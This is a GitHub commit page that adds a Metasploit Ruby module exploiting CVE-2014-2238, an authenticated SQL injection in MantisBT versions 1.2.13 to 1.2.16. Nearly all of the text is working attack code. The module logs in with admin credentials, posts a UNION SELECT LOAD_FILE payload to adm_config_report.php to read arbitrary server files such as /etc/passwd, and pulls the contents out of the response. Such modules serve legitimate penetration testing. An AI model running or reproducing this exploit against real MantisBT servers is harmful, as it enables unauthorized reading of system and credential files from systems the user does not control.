Skip to content

Commit 7cb6e7e

Browse files
committed
Land rapid7#3057 - MantisBT Admin SQL Injection Arbitrary File Read
2 parents caaa419 + f0e9720 commit 7cb6e7e

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
## This module requires Metasploit: http//metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "MantisBT Admin SQL Injection Arbitrary File Read",
16+
'Description' => %q{
17+
Versions 1.2.13 through 1.2.16 are vulnerable to a SQL injection attack if
18+
an attacker can gain access to administrative credentials.
19+
20+
This vuln was fixed in 1.2.17.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Jakub Galczyk', #initial discovery
26+
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2014-2238'],
31+
['URL', 'http://www.mantisbt.org/bugs/view.php?id=17055']
32+
],
33+
'Platform' => ['win', 'linux'],
34+
'Privileged' => false,
35+
'DisclosureDate' => "Feb 28 2014"))
36+
37+
register_options(
38+
[
39+
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd']),
40+
OptString.new('USERNAME', [ true, 'Single username', 'administrator']),
41+
OptString.new('PASSWORD', [ true, 'Single password', 'root']),
42+
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
43+
], self.class)
44+
45+
end
46+
47+
def run
48+
post = {
49+
'return' => 'index.php',
50+
'username' => datastore['USERNAME'],
51+
'password' => datastore['PASSWORD'],
52+
'secure_session' => 'on'
53+
}
54+
55+
resp = send_request_cgi({
56+
'uri' => normalize_uri(target_uri.path, '/login.php'),
57+
'method' => 'POST',
58+
'vars_post' => post
59+
})
60+
61+
if !resp or !resp.body
62+
fail_with("Error in server response. Ensure the server IP is correct.")
63+
end
64+
65+
cookie = resp.get_cookies
66+
67+
if cookie == ''
68+
fail_with("Authentication failed")
69+
end
70+
71+
filepath = datastore['FILEPATH'].unpack("H*")[0]
72+
73+
payload = "save=1&filter_user_id=0&filter_project_id=0&filter_config_id=-7856%27"
74+
payload << "+UNION+ALL+SELECT+11%2C11%2C11%2C11%2CCONCAT%280x71676a7571%2CIFNULL%28CAST%28HEX%28LOAD_FILE"
75+
payload << "%280x#{filepath}%29%29+AS+CHAR%29%2C0x20%29%2C0x7169727071%29%2C11%23&apply_filter_button=Apply+Filter"
76+
77+
resp = send_request_cgi({
78+
'uri' => normalize_uri(target_uri.path, '/adm_config_report.php'),
79+
'method' => 'POST',
80+
'data' => payload,
81+
'cookie' => cookie,
82+
})
83+
84+
if !resp or !resp.body
85+
fail_with("Error in server response")
86+
end
87+
88+
#qgjuq is prepended to the result of the sql injection
89+
#qirpq is appended to the result of the sql injection
90+
#This allows the use of a simple regex to grab the contents
91+
#of the file easily from the page source.
92+
file = /qgjuq(.*)qirpq/.match(resp.body)
93+
94+
file = file[0].gsub('qgjuq', '').gsub('qirpq', '')
95+
file = [file].pack("H*")
96+
97+
path = store_loot("mantisbt.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
98+
99+
if path and path != ''
100+
print_good("File saved to: #{path}")
101+
end
102+
end
103+
end
104+

0 commit comments

Comments
 (0)